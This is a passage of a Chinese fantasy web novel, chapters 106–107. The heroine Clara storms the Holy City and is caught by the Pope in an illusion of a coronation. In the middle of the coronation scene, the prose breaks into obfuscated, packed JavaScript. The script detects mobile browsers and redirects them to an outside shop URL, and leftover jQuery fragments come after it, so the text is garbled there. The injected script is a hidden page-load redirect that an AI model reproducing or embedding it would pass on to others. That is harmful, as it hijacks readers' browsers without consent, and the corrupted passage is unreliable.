一切如同被放缓了般,在这个瞬间,克劳拉下意识护住自己的要害,余光中她瞥见安德鲁向前,似乎想要接住被正面冲击的艾洛薇。 安娜的魔法在耳边炸开,眨眼黑色的雾气笼罩了整个视野。 艾洛薇离窗户最近,在黑巫师轰开落地窗时,受到的冲击也最大,幸好安娜的魔法及时替她抵挡了大部分伤害。 即便如此,她也短暂地陷入了昏迷,耳鼻溢出刺目的红色。安德鲁身上也被玻璃划开众多伤口,但他浑然不觉,只抱着昏迷的艾洛薇,心沉入谷底。 “安娜!”克劳拉反应非常迅速,不顾伤口,撑桌借力,一脚蹬开了扑向安德鲁的黑巫师——这些家伙好歹有实体,只是没那么容易死亡。 她持剑挡在两人面前,与几位黑巫师对峙,“安德鲁,带着洛薇退到安娜身后去,他们的目标是你。” 同时还能分神阻止卫兵们进入,这些卫兵只会成为她的阻碍。 失去白珠的克劳拉面对黑巫师也有些没底气,但这里是她的地盘,她绝不能退后一步。 她与安娜对视一眼,趁黑巫师还在吟唱,手中的剑直直挥向他们,五名黑巫师而已—— 这几名黑巫师和以往的不尽相同,他们使用诅咒的同时本身武力也不低,三位跟克劳拉缠斗在一起,另外两位直奔安德鲁。 安娜分身乏术,无法再替克劳拉抵挡诅咒。克劳拉不甚被诅咒沾到右手臂,短短瞬间手臂就如烫伤一般泛起一层密集的燎泡。 她忍着剧烈的疼痛,利用周边一切能利用的家具器皿阻挡诅咒。 所幸她还有众多大巫给她保命的道具,还持有圣水,硬是拖住了三位黑巫师,直到另外几名女巫赶到。 等到女巫们出现时,黑巫师便立刻消失不见,若不是乱成一团的房间,和几人的伤口,一切仿佛梦境般。 骑士们这时才敢进来收拾残局,为几位转移、治疗伤口。 艾洛薇已经转醒,但还是有些眩晕,安德鲁正轻声和她交流,确认她的意识。 宫中的医者小心翼翼为两人处理伤口,想要替克劳拉治疗时,却被制止。 克劳拉的伤口几乎愈合,除了手臂的燎泡因为是诅咒,隐隐有扩散的趋势,安娜正帮她处理。 黑巫师离开得太随意了,克劳拉猜测他们的真正目标并不是安德鲁,极有可能是阿方索,或是艾林。 果不其然,不出片刻,骑士就传来消息:几乎在克劳拉她们遇袭的同时,阿方索大主教也遭遇了袭击,在众信徒目睹之下,阿方索被掳走。 “艾林侍卫官也一同失去了踪影,女仆们声称拐角后,她们就找寻不到艾林的身影。” “教会到底要做什么?”安德鲁少见地怒道。他不在乎被掳走的两位,让他这么失态的是因为艾洛薇的受伤。 阿方索和艾林已经被掳走,多半已经被传送到圣城,这时候凭借单纯的跑马追是绝不可能追上的。 克劳拉明白,是时候去一趟圣城了,这座用女巫之血筑成的谎言之城。 安德鲁恐怕已经是失效的容器了,这么快就被放弃,不过以防万一还是留下两位女巫保护他。 克劳拉与安娜耳语几句,安娜神色凝重地离开。 转移房间的艾洛薇在床上熟睡,克劳拉与女巫确认她并没有大碍,只需要休息一段时间。 才正色道:“安德鲁,我要离开一段时间。亚克很快会回到你身边辅助,一同到来的还有我的子民。王都暂时不需要我了,我要去做一些必须要做的事情。” “和教会有关吗?”安德鲁问。 “对,我得把他们带回来,不管教会有任何谋划,我都不能让他们得逞。” 克劳拉随意地扯过披肩搭在肩上,她站起来时已经能够平视安德鲁。 这让安德鲁清楚地意识到,克劳拉已经不是一个小女孩了,她的野心与实力都在膨胀,或许连索滋帝国都再装不下她的抱负——而在世俗看来这不是一个女人应该有的东西。 安德鲁觉得自己理应做些什么,但他眼前闪过玛丽的面容,她说:“卡尔,既然保持了沉默,那就一直沉默下去。” 最终他张了张口,只说道:“万事小心。” 克劳拉笑了笑,“你和洛薇也是,我会留下女巫保护你。回见。” 她大步流星地穿过破乱的房间,女巫与骑士们追随她的脚步而去。 “我要离开了。”阿德涅熬制完最后一锅药水,平静地将这个消息告知弗洛伦斯。 南边的战争一直在持续,染病、受伤的士兵也一直未曾断绝,医院没有一刻是不忙碌的,每位医护 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这次军营驻扎的地方离前线非常近,出征的士兵也远比攻打奥菲时更多,包括步兵在内共有近两万人,六千多骑士,周围三个郡的伯爵都参与其中。 南边的边境伯爵年龄虽然和霍德华侯爵差不多,但身体远不如侯爵,如今已经难以上战场。 而他的几个子侄辈表现得都不尽人意,至少不能另古斯塔一世满意。 因此年轻一代最受古斯塔器重的当属来自异族又骁勇善战的塔。 今天医院里都在讨论敌军将要撤退一事,据说因为后方疫病太严重,军队供给没有跟上,不得不暂退。 陛下想要乘胜追击,但又有其他国家蠢蠢欲动,想要加入战场,战争会不会持续并不好说。 事实上若不是姐妹会众多医护和女巫的药水,索滋帝国情况同样惨重。且今年整年粮食收成并不好,再打下去,帝国同样会面临无粮可供的风险。 弗洛伦斯手中动作不停,耳朵却竖起将这些谈论都记在心中。 “塔那小子才多大,就让陛下这么看重,上一个还是德文希家那位吧。” “陛下真是偏爱北方佬,那位霍德华侯爵,从不进都觐见陛下,也无人敢多说半句话。殿下的准王妃也是个北方佬——” “嘘!小声些,弗洛伦斯小姐是侯爵阁下的孙女,这些医护们大都来自北方,小心被整!” 见弗洛伦斯似乎并没有关注这边,士兵们松了口气,转而讨论其他话题。 但弗洛伦斯已经记下了那位开口说话士兵的位置,等晚些时候不给他打麻药清创。 她才不允许别人说祖父和克劳拉的坏话! 傍晚的时候塔率兵回营,最近几次小规模交锋,他们都占上风,打得太过于顺利,导致部分骑士们有些得意忘形了。 他们勾肩搭背地邀请塔一同去军营不远处的寡妇村。 憋了那么久了,西亚尔玛的士兵都有些意动,而德林郡的士兵无动于衷,尤其是为首的塔,他晚些时候还要去古斯塔面前复命。 西亚尔玛目前也归属塔麾下,尽管塔没有过多干涉他们,但解散后,他们还是选择和德林郡士兵一起去用餐或休息。 德林郡士兵可不敢作出这中违反军纪的行为,克劳拉对这种事向来是零容忍。以往在德林军中一旦出现这种情况,她会连将领一起罚,哪怕是伯爵阁下也挨过抽。 还亲自让士兵们劁猪,威胁到招妓最终都是和猪一个下场。 有人不信邪,硬要尝试,当晚就被术士当做实验素材——研雄性人类如何在失去该器官后存活,以及对身体的影响。 再加上军中女兵增多,士兵们各个老老实实,将这份内火全部在战场和敌军身上释放,所以德林军一直是伤亡最少且最勇猛的士兵。 两郡的士兵,如今还包括了诺兰郡,在塔的管理下都是这幅循规守矩的模样,在国王的军营里反而显得有些格格不入。 “北方佬就是爱端着。” “塔男爵该不会那方面不行吧。” 塔以异族之身一越成为男爵也引来了不少人的嫉妒。时不时会有骑士对他冷嘲热讽。 不过塔通常懒得理会,这些人也就只能出些口头上的风头,真要比试,跑得比谁都快。 塔如今更在乎今天身上又出现了全新的伤口,克劳拉又受伤了,他随后还要去找弗洛伦斯,让她替他写信询问。 “我们的塔男爵连姓氏都没有,若是那些女士们问起来,总不能说是托里曼来的野蛮人吧。” 骑士们哄堂大笑,引得塔的战士们微怒,想要替塔教训这些无礼的家伙。 塔拦住了他们,冷漠地开口道:“德文希。” “什么?”众骑士不解。 “我的姓氏。”不过是未来的姓氏——虽然希姆目前没同意,应该不会和他计较,大概,塔心里有些没底。 但面对他人的嘲讽,他表现得很坚定,似乎这就是他的姓氏。 “开什么玩笑……德文希家不是只有两个人了。” “不好说,是巴特·德文希只有两个孩子,万一他还有别的子侄,那位的夫人好像也是托里曼人……” 骑士们如同被锁喉的公鸭,发不出任何声音,最终愤恨地离开。一位没有任何根基的小贵族与一位和大家族沾亲带故的贵族是不同的概念。 难怪陛下重用他,不过是因为德文希这个姓氏罢了! 塔不懂这些姓氏家族的弯弯绕绕,还略有些疑惑,他们怎么突然就这么离开了。 南人总是很难懂,塔不再关注他们,径直前往国王营帐。 古斯塔的营帐入口挂着一只雄鹿头,入内后是一张巨幅地图,上面详细标有周边所有的地形与要塞。 目前地图上已经有大大小小多个被圈出来的要塞和被叉去的碉堡。 诅咒恢复后的古斯塔,虽然仍然气势凌人,目光如炬,但隐隐带了颓势,他已经年近60了,身体大不如年轻时候。 平静地听完塔的汇报,古斯塔坐在铺着熊皮的座椅上,缓慢而严肃地道: “一万士兵,你若是能将卢尹帝国北部全部吞没,我将许给你不亚于巴特的地位。” 塔明白这是极佳的机会,虽然条件属实有些苛刻了。他缓缓抬头,金色的眼眸里有火光跃动。 “如您所愿。”他说。 106. 第106章 圣城位于一座岛上,准确来说是一座临海的平原,等到潮水涨起时便会成为一座孤岛。 如今虽然未到涨潮的时候,圣城数十里范围内都是泥泞的沼泽,能大幅度拖延进攻者行进的步伐。 克劳拉用了大半个月,集结人马,准备物资。 此次作战只出动了三千名精骑兵,一半是托里曼战士,再加上玛格丽特率领的西亚尔玛骑兵,共五千骑兵。 还有部分后勤与医护,近六千人。女巫们费了一番功夫才陆陆续续传送过来。圣城似乎若有所感,但目前没有任何应对措施。 这是玛格丽特第一次亲自率兵远征,而霍德华侯爵留守要塞。 “雌鹰总不能一直缩在巢穴里。”这座要塞迟早要交到玛格丽特手中的,巨魔已经消踪匿迹,霍德华家也是时候角逐新的权力了。 克劳拉在出发前开诚布公地将自己的野心与谋划告知玛格丽特。 玛格丽特迟疑了片刻,她没考虑过克劳拉成为不了国王的可能性,既然克劳拉敢说出来,就是把握极大,她问:“所以你想要我做些什么?” 和聪明的人谈话就是效率高,克劳拉远眺着正在整装的士兵。 “成为国王后,我将要改革军制,领主不再拥有武装权,全部掌握在我手里。将帝国划分为四个军区,分掌在不同的元帅手里,而这些元帅最终只听令与我。” 玛格丽特隐隐猜到了克劳拉想要说些什么,但她沉默地等待克劳拉说完。 “说实话,我不相信男人们会老实居于女人之下,所以我需要一部分天然和我同一阵营的人替我掌握部分军权。”克劳拉回头,凝视着玛格丽特, “北方军区,包括德林郡,都会进入你的麾下。玛格丽特·霍德华,你能为我做到吗?” 玛格丽特还很年轻,她也只比克劳拉年长了三岁。若是在几年前,她很难就这么直接答应克劳拉,因为她没有那个勇气。 但是如今的玛格丽特已经不再是那个只能缩在房间里自怨自艾的女孩,她明白霍德华家需要新的出路,而跟随克劳拉将会是最好的出路。 “我不能满口答应我一定可以,但是我会竭力做到,赌上霍德华家的名誉!”玛格丽特将手放在胸口,她能听到自己激烈且有力的心跳。 玛格丽特没有问为什么是她,更没有问克劳拉是否还有其他人选,她会证明自己是最优选。 克劳拉展颜一笑,她的剑笔直地指向圣城的方向,“那就用圣城当你的试金石吧,女巫们会全力配合你。” 圣城如今只有几千骑兵作守城用,当然还有未知数量的步兵,但德林郡的火器远比圣城的武器来得更猛。 据贾斯的情报,目前教会最强守城器具是巨形弩床,但大型弩箭的数量有限,不到迫不得已,还是使用投石机。 贾斯还慷慨地附赠一张圣城的防线图和城中地图,看得出她确实很想让如今的圣城覆灭。圣城拥有的武器装备她都毫无保留地告知。 当然不排除会使用魔法道具,这就是女巫需要应对的了。 介于巫师誓约,女巫们不能对教会非巫师下手,她们的任务只有消灭黑巫师,以及应对各种魔法道具。 但为士兵们提供一些便利还是可行的,比如让泥泞的沼泽结上一层厚厚的冰,方便火炮运输。 多次改良后的火炮,已经不像最初那版笨重难以运输,且有炸膛风险,新版的口径增大,威力和射程不减的同时,增加了准星,还降低了风险。 除此之外,还有一支特殊的枪兵队伍,共五百人,她们使用的不是战场惯用的骑士长枪,而是火门枪。 经过训练,克劳拉发现大部分女兵射击更准,也更有耐性,不会随意射击徒耗火药。于是这支特殊的枪兵队主要由女兵构成,机动性也更强,她们会成为这一次战场上的幽灵。 这些都是女巫们日以继日研制出的武器,达索琳大巫认为女巫若是想一直在这片大陆立足,光靠魔法是不够的,更要在科技方面一直走在最前沿。 而进入塔核心团队的每一位巫师与术士,都立誓奉献一生于此,没有婚姻,也不会孕育后代。 克劳拉起初不理解这一规定,如果是精英,那不更应该留下后代。但达索琳认为,既然决定全心全意为事业奋斗,就不应该分心与家庭中。 人很难做到平衡事业与家庭,不应该强求她们必须做到,也不应该强求另外一批人为他们牺牲困守在家庭之中。 “当然,我并不会强求,只是选择婚姻和家庭的人,都将被请离核心,无论男女。”达索琳在这方面从不留情面,也说到做到。 当时的克劳拉若有所思。 玛格丽特将作为这次作战的总指挥,她与其他将领们根据地形图连夜商议制定了几种进攻方案。 因为克劳拉要求速度要快,且尽量不破坏圣城教堂完整性,尽量不伤及信众的性命,这次作战并不轻松。 炮火只能用于轰开大门与周围的城墙,进入城中后,还是考验众将士们自身的能力与进攻方案。 而克劳拉的任务则是找到阿方索带出来,证明这次行动的合法性,她可不想被整个大陆数十万信众口诛笔伐。 不仅仅是为了彰显这场战争的正义性,也是为了之后她能顺利地将治疗疫病的药剂推向整个大陆,为女巫们正名。 “教皇以莫名的理由杀害了我们的同胞、侵略我们的土地,在大陆散播疾病与诅咒,让死亡的阴影笼罩着我们每一个。” “我们无从得知,下一个诅咒会不会降临于我、我的家人、我的朋友!唯有反抗!” “他们已经背叛了神明背叛了信仰!我们将代表正义的一方,清除教会内部的恶魔爪牙!拯救所有困苦的人民!” “为帝国而战!为众生而战!” 克劳拉高举手中的剑,在阳光之下,剑身反射着耀眼的光芒。 “唯有反抗!”玛格丽特坚定地举剑响应她的号召。 “为帝国而战!为众生而战!”士兵们纷纷举起武器,直指天空。 怒吼声响彻云霄,大地都为之震动。 尽管圣城早已做好应对,但在数十发火炮攻势下可谓是毫无还手之力。 这些主教早就隐隐听说巫师塔研制了新式武器,但因为生为神职人员的傲慢,从未在意过。 在去雷鸣般一轮又一轮的炮膛之下,哪怕是教皇直属骑士也不由心生忌惮。更别提城中众多前来求药的信徒,各个跪地不起,祈求神明息怒。 坚厚的城墙,在火炮的攻击下,如纸糊的般,很快便轰然坍缩了一片。 克劳拉抿紧唇,早在决定使用火器时,她就预想过这份力量带来的除了强权还有死亡。她以为自己会心有不忍,实际上她心中一片坚硬。 她与玛格丽特视线交汇的瞬间,玛格丽特心领会神,先一步策马,高声道:“出击!” 两郡的士兵们顺着这片坍塌的城墙很快涌入城中,又是一阵刀光剑影。 黑巫师很快出动,女巫们就等他们,迅速迎击,空中很快出现一阵绚烂的魔法,伴随着各式法阵。 安娜贴身保护这克劳拉,带着几位女巫与骑士径直出现在了教堂内部。 即使克劳拉已经在西亚尔玛大学和王都教堂见识过这种巧夺天工的壁绘与浮雕。但处于圣城中心教堂之中时,她还是会被这座奇迹般的建筑震撼。 仰望教堂的穹顶,与顶上绘制的各式画像,这些人体画像就像神明在俯视众生一般。站在这座大厅难免生出人类如此渺小的想法。 而正是渺小的人类,才能创造出这些堪称神的杰作的建筑。 克劳拉虽然厌恶教会的存在,但也得承认教会的审美与他们创造的艺术。不过她不会因此手下留情。 再往里走,隐约有人的乐声传来,伴随着管风琴的奏鸣。 在空无一人的教堂怎么都显得有些诡异。于是克劳拉示意众人警戒。 越往里管风琴的声音越大,在空旷的教堂里回响,空气仿佛都在震动,逐渐给人以压迫之感。 直到一扇巨大且漆黑的大门出现在克劳拉面前,这扇大门通体黑色,显得和这座华丽的教堂格格不入。乐声正是从门后传来。 克劳拉用力推开了这扇大门,奏乐之人忽然发力按下琴键,管风琴发出沉重的长鸣,而人声也应和着琴声声调渐高渐绵长。无形的压迫感扑面而来。 这是一间礼拜堂,两侧的墙上镶嵌着巨大的六位形态各异的天使雕像,祂们垂首,神情怜悯地注视人类。 琴声骤停,礼堂之中一片沉寂,而这片寂静只给人一种心慌的感觉。 “我一直在等待您的到来——神选之人。”演奏者缓缓站起身,他穿着华丽的白色教袍——如果克劳拉没记错的话,那是教皇才能穿着的礼服。 而说话之人转过身,熟悉的面容另克劳拉瞳孔微缩,这不是阿方索,或许躯壳是,灵魂绝对不是。 她还是来晚了,这具身体里到底是谁的灵魂,克劳拉不动神色地等待这位疑似教皇的人继续说话。 安娜微微挡在克劳拉面前,手中紧紧攥着魔杖,骑士们也将手搭在武器上,死死盯着此人的一举一动。 “我一直以为只有我是被神明眷顾着的存在。”教皇说着缓缓从台阶上往下,他面带着教会标志的微笑,抬手示意这群祝咏团的孩子们离开礼拜堂。 克劳拉这才注意到这群祝咏团不过是群半大的男孩,共同之处在于几乎全是金发碧眼的长相。 察觉到克劳拉的视线,教皇笑道:“很好奇?你的兄长当年本该也是他们的一员,不知为何你的父亲对教会一直抱有很深的误解——或许是受古斯塔陛下的影响。” 克劳拉原本想说,你们真不知道巴特为何厌恶教会吗,还是吞了回去。在那些医者看来他们似乎是真的认为那种接生方法是拯救女性。 “我果然没看错,你们兄妹两都是神眷者,而您更是直接得到了神的恩典。”教皇表现得非常狂热,仿佛真的感受到了神启。 众多念头在克劳拉脑中闪过,教皇难道也和世界意识交谈过,得到了所谓的剧情?可是剧情里几乎没有提到过这位教皇。 还是说教皇得到的神启和她以为的并不相同。 克劳拉配合他的演出,“您得到的神启是什么?” 教皇神色瞬间阴沉,教堂里灯光一暗只有自然光从玻璃彩窗中透出。 教皇的上半张脸隐没在阴影里,就像恶魔露出他的獠牙般,“命运的轨迹被拨乱,是时候回归正轨。我将作为审判之人——判决叛神者——死刑!” 叛神者?是指她吗?教皇的忽然发难另克劳拉不解,更令她不理解的是墙壁上六座天使雕像忽然表情一变。 祂们就像听从教皇的命令一般,活了过来,带着愤怒与排山倒海之势向克劳拉逼近。 数十米高的巨大石像缓缓走来,这种视觉压迫感无法言说。骑士们面对着这些雕像瞳孔巨缩,缓缓后退直到背部撞上了同伴。 最终对克劳拉的忠诚战胜了这种恐惧,一位雪鸮骑士举剑冲上前挥砍石像的腿部,高喊着,“拼了!” 剩下的几位骑士纷纷效仿他,围砍着雕像,但依旧无法阻止祂们前进的步伐。 雕像抬腿,朝着克劳拉狠狠踩下,而克劳拉如同被定住了般僵立在原地。只余下骑士撕心裂肺的喊叫。 这些骑士疯狂的举动引来了女巫的疑惑,他们就像在和什么看不见的东西做斗争,一边朝着空气挥剑,一边还在叫喊着:“阁下快走!” 而克劳拉忽然闭上眼,站着就像陷入了一场梦魇一般,仍由安娜怎么呼喊她都没有醒来。 “你做了什么?”安娜质问。 教皇面对着正前方的神像,在胸口画着十字,“这是叛神者的下场——包括你们也要为亵神付出代价!” 教皇的影子里、大堂何处阴影里逐渐涌出黑色的雾气。女巫们握紧魔杖,围在克劳拉身边,严阵以待。 “小姐!快醒醒!克劳拉小姐!” “克劳拉。” 听到有人喊她,克劳拉猛地睁开眼,一瞬间没反应过来自己这是在哪里。 “克劳拉,我以为你不会来陛下的加冕仪式。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701600|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 耳边的声音很耳熟,克劳拉转过头,看到一张没有任何五官,只有一片白光的脸。 但她没觉得有任何不对,甚至还认出说话人的身份,是贝拉,她在女校时的同桌和朋友。 “看来你和陛下退婚后还是受到了影响,看你都不爱说话了。” 贝拉转过头,“总之,加冕仪式要开始了,王后的加冕礼会同步进行,希望你能受得住吧。” 克劳拉四下打量,她正处于在教堂的广场,周围全是些没有面容的人。这些白光交相辉映,刺得她眼睛有些疼,于是她收回目光,问道:“安德鲁的王后是谁?” 贝拉明明没有脸,却能做出惊恐的表情,“你怎么能直呼陛下的名字——天哪,你真的疯了!王后当然是斐迪南公爵家的小姐,艾洛薇·斐迪南。” 克劳拉若有所思,拨开挡住她的人群,虽然这些贵族都穿着华丽的礼服,但面部都是白光,她也不知道都是些什么身份,只想去到教堂最里面,能看到仪式的位置。 现在还没有到仪式开始的时候,作为臣民,要先于国王一步入席,等待陛下的驾临。 教堂的走廊有些狭窄,克劳拉穿梭在其中,时不时会不慎撞到其他人。 被她挤开的人们发出惊呼,随即又是些刺耳的抱怨。 “搞什么?德文希家那位怎么也来了?” “被陛下抛弃了,还敢这么大模大样地出现在外面,真是不知羞耻。” “没教养的家伙,听说她母亲就是北方来的野蛮人——当然德文希伯爵是不一样的。天哪!伯爵阁下怎么有这么一个妹妹。” 克劳拉好奇地回望了一眼,也不知道自己是怎么从白光中看出尖酸刻薄的表情的——这些人的面容都这样,真的是正常的吗? 至于这些言论,克劳拉感觉自己没有任何情绪波动,甚至还有些想笑出声。不幸的是如今典礼还未开始,她看不到任何想见的。 反而还遭到了神父的驱赶,因为她作为一位未婚女性,在没有男性监护人的陪同下,是不可以到处乱闯,随意入座。 克劳拉不喜欢这群人这么对她说话,总觉得他们也不配这么对她说话,所以她四处打量着趁手的武器,最终掰下墙壁上的烛台,用这个狠狠教训了几位没有脸的神父。 “嗷!无理的家伙!卫兵卫兵!” 在卫兵到来前,克劳拉已经溜走了,就这么番动作,弄得她有些虚弱,喘气不顺。 她觉得自己不应该是如此瘦弱的模样,更不应该是跑两步就喘气的样子。太糟糕了,克劳拉忍不住暴躁,到底是哪里出问题了,今天的一切都让她觉得不正常。 贵族们陆陆续续就坐,这时入场的已经是各国来使。 克劳拉打晕了一名卫兵,扒了他的服装穿上,又将剑别好。不知道为何她对于武术相当得心应手,在她的记忆里明明没有接触过这些。 没有过多地纠结这些,她带上卫兵礼帽,特意压低了一下,在王室成员入场前混进教堂之中。 这时她终于看到了几张拥有完整五官的面容,加冕仪式的主持人阿方索大主教以及刚刚入场的温斯顿公爵。 阿方索穿着米白色的主教礼服,手捧着《神言》,与周围其他主教交流着。 而温斯顿也穿着华丽的貂袍,头戴亲王冠冕。 克劳拉到处都没有望见伊登的影子,等到国王仪仗队进来时,她才堪堪看见了伊登,以及她莫名不喜的艾林——奇怪记忆里她和这位艾林侍卫官理应没有太多交集才是。 国王与王后很快就要抵达,克劳拉特意找了处能第一时间见到两人的位置。 但现实让她失望透顶,因为王后也不过是穿着王后礼服的无脸人,根本不是艾洛薇。 倒是年轻的国王敏锐地朝她所在的地方望来,克劳拉立刻低头避开。 祝咏团的歌声与交响乐同时奏响,吵得她有些头疼。再加上满教堂的无脸人对克劳拉视觉也造成了一定冲击,她犹豫片刻,还是决定先离开,再好好思索自己现在的处境。 这场华丽而又隆重的加冕礼,只让她觉得嘈杂且无趣,像是场滑稽的表演,而参演者只有那几个正脸的男人,其他皆是些做衬的小丑。 教堂后院有一座很大的花园,克劳拉摘下帽子,用水的倒影细细打量着自己,还撸起袖子,认真观察过于细瘦的手臂。 小腿上也没有一点肌肉,胸背摸上去也只能感受到瘦弱得只剩骨头。 这不是她的身体——克劳拉如此笃定。 尽管确实是她的脸,但她应当是强壮的,身体拥有足够的肌肉与爆发力,身高也足以蔑视大部分异性。 “若拉!” 是伊登的声音,克劳拉回头望去。 这位长着伊登模样的人,带着明显的愤怒与厌恶,“你又在搞什么?神父说你居然用武器袭击了他们!你疯了?” 等他走进些,注意到克劳拉的着装,他的神色变得更加夸张:“你穿得这是什么?天哪,你真的该嫁人好好被管教管教了,哪有女人像你一样。” 克劳拉脸上出现了明显的疑惑,并随着“伊登”的絮叨脸色渐沉,沉默不语似乎陷入深思。 而“伊登”试图去拉她,“走,跟我回伯爵府!你被禁足了!温斯顿家的二子你到底有什么不满意,男人都是这样——” 只是他的指尖还未触碰到克劳拉,就被利剑迎面劈成两半。 “伊登”脸上还带着震惊与不敢置信。 “伊登可不会用这种语气跟我说话。”罪魁祸首平静地提着剑,有些疑惑剑上一丝血迹也没有染上,眼前人直接变成一团黑气消散。 追出来的神父发出刺耳的尖叫,转身又踉跄着跑回室内。 克劳拉瞥了一眼,懒得去追,她认真研究了一会地面上残余的黑气。嗯……不知道现在什么情况,总之先把那几个有头有脸的家伙都干掉,大概就知道怎么回事了吧。 她缓缓站起身,目光落到一直伫立在走廊处没有逃跑的艾林身上。 “克劳拉·德文希,”艾林忽然笑了起来,“我知道是你。” 107. 第107章 艾林的神色十分怪异,似乎还隐隐期待着被杀。 剑在地上轻点两下,克劳拉觉得眼前这人应该是真的艾林。 为了搞清楚现在的状况,她冷着一张脸,道:“你在说什么,我是谁还用你知道?” “说实话,你还是现在这副模样顺眼一些。一个女人太高了只会让人觉得冒犯,尤其对男人来说。”艾林还是那么爱自说自话。 克劳拉一步步走向他,剑尖在大理石地板上擦出刺耳的声音。 “我很好奇你是怎么来到这里的?又被指控成魔女抓起来了?” 艾林好像在和另一个克劳拉对话,好像又是和她对话,克劳拉神色一点未变。 “不过我更好奇,你看到安德鲁和艾洛薇结婚是什么心情?会嫉妒吗?嫉妒谁?” 艾林脸上的幸灾乐祸与跃跃欲试太令人不悦了,尽管克劳拉提着利器逼近,他丝毫没有要闪躲的意思。 “艾林,之前不觉得,你的废话实在太多了。” 克劳拉一点也不拖泥带水,直接将剑送进眼前人的心脏。 艾林像察觉不到疼痛般,脸上的笑容越来越大,最后发出“嗬嗬”的诡异气音。 “这个世界太无趣了,每天都是见鬼的加冕仪式。所幸一直对着你兄长那张脸……” 彻底消散前他还不忘恶心克劳拉一把,克劳拉嫌恶地甩剑,甚至再想离开这里后再给艾林一剑。 卫兵没有前来围剿她,等她回到大厅,之前那名神父都仿佛将一切忘记了一般,只机械地完成加冕仪式。 结合艾林说的话,每天都是加冕仪式,这个幻境大概一直在这天循环,虽然不知道为什么是今天,总之这场典礼的主角要倒大霉了。 仪式已经进行到递交权杖,安德鲁一手握着象征教权的十字权杖,一手握着王权的狮子权杖,由阿方索替他加冕。 而温斯顿公爵作为执剑人,手握宝剑站在阿方索的正后方,面向着安德鲁。 很好,三位主角都在一起,不用克劳拉费心去找。 不过手中这把剑略微有些钝,如果能弄到温斯顿手中那把国王之剑就好。 阿方索举起了那顶镶嵌着数百颗宝石和钻石的王冠,缓缓戴在安德鲁头顶。 正是在这个大家注意力都放在国王身上的瞬间,克劳拉轻巧地越过众人,从背后偷袭了温斯顿——虽然这样有些不守礼,但她顾不得这些了。 感觉制作这片幻境的人实力也不怎么强大,温斯顿好歹不到二十就在外征战的人,怎么可能和纸糊一样脆弱。 不过也省事,克劳拉拾起地上的宝剑,随意挥了挥,确认开刃了后就将旧的那把插入剑鞘中。 会场因为这一变故出现了骚乱,但幻境没有那么尽善尽美,这些无脸人仅仅是口头骚乱着,身体没有作出任何动作。 卫兵终于出动了,他们护在几位主教和国王面前,武器朝向克劳拉。 国王站起身,抽出了刚别上的宝剑,“克劳拉,退婚确实是我的过错。但破坏加冕仪式可是死罪,我不明白你这么做的理由。” 克劳拉直视着这双眼晴,试图寻找一些熟悉的影子。但这不是安德鲁。 她的沉默激怒了国王,灰色的眼眸里闪烁着怒火。他推开护在身前的卫兵,与克劳拉交锋起来。 “我一直以为你是一位知书达礼的淑女,没想到你会做出如此不理智的行为,现在收手我还可以不和你计较。” “希望你不要辱没德文希家的荣耀!” 克劳拉抿唇一言不发,专注于剑术之中,安德鲁的剑术让她觉得有几分熟悉,隐隐能见到艾洛薇的影子。 两人师出同门,剑术有相似之处也很正常。但安德鲁,尤其是眼前这位假安德鲁的剑,可比艾洛薇的逊色多了,有一种浮于表面的美感。 艾洛薇她是比不过,假国王都比不过的话也枉费她针对训练这么久。 一个错身,国王刺穿了她的肩膀,胜利的笑容才刚刚爬上脸,伴随着巾帛撕裂的声音彻底凝固。 “虽然安德鲁伪装得很好,但其实他胆小又懦弱,不过至少有一份对于王储来说弥足珍贵的仁爱之心。你不是他。” 国王无力地垂下手,手中的配剑落到地上发出一声锵鸣,随即化作黑烟消散。 所有的无脸人都定格了,甚至在缓缓变得透明。 克劳拉捡起新的战利品颠了颠,这才是王室最珍贵的宝剑,由最锋利的精钢制成,连剑柄上都镶嵌着宝石,重量也轻于她手里这把国剑。 这具身体还是更适合轻一些的佩剑,克劳拉果断放弃了国剑。 她望向唯一一位没有透明化的人,“现在只有主教阁下你一人了。” 身着华服的主教,带着毫无破晓的教会式微笑,怜悯又慈爱地回望克劳拉。 是阿方索?还是教皇? 深陷幻境的骑士与克劳拉,被黑巫师缠住手脚的女巫们,整个大厅一片混乱。 而这些都与教皇无关,他的面前突兀地出现了一把宝剑,剑柄上镶嵌着一枚硕大的鸡血石,鲜红的色彩闪烁着不详的气息。 教皇庄重地握紧剑柄,从剑鞘中将剑抽出,剑身并不长,不过成年人手臂长度,更像是一把华丽的匕首。 他手捧着剑,坚定地来到克劳拉面前,他将用这柄剑,处决叛神者—— 安娜着急地想要回到克劳拉身边保护她,但无尽的黑巫师一直缠绕着她,让她寸步难行。 “你到底要做些什么!哪有什么神的旨意!神明根本就是你们教会伪造出来欺骗大众的幌子!” 教皇对于这种异教徒向来很宽容,并非每个人都有这个殊荣感受神的恩典,而某些人即使感受过了也不加珍惜。 “灾难降世,不过是神明对世人的考验,筛选出更纯粹的信众——而你口中的小姐,叛神者克劳拉·德文希,却妄图违背神谕,救助那些无德无能之辈……” 他足足列举了九宗罪,包括但不限于将神赐的知识教授给没有灵性的普通人;多次阻碍猎魔、为魔女异端提供庇护,意图扰乱神在众人心中的信仰;为低贱、污秽的女性提供工作,尤其是不允许女性用身体奉献自身、洗清罪孽。 巨大的荒谬感涌上女巫们的心头,所以教会认为这场疫病是神明的考验,并认为组织姐妹会与女巫们奔波治病的克劳拉是在亵神。 带来死亡与绝望的神明会是什么好神?明明就是邪魔!教皇却将这样的邪魔供上神坛,受万人敬仰,简直是眼瞎心盲。 安娜回想克劳拉曾多次说过这些都是神的指示。所以她的小姐接收到的神谕到底是救助这些民众?还是和这群教会的疯子一般冷眼旁观? 她将这些猜想都甩出脑内,不管是什么,她的小姐最终选择的都是救世之道,教皇才是错误的、该被处决的那一个! 教皇说罢举起手中的利剑,直指克劳拉的内心,几枚血珠缓缓冒出。 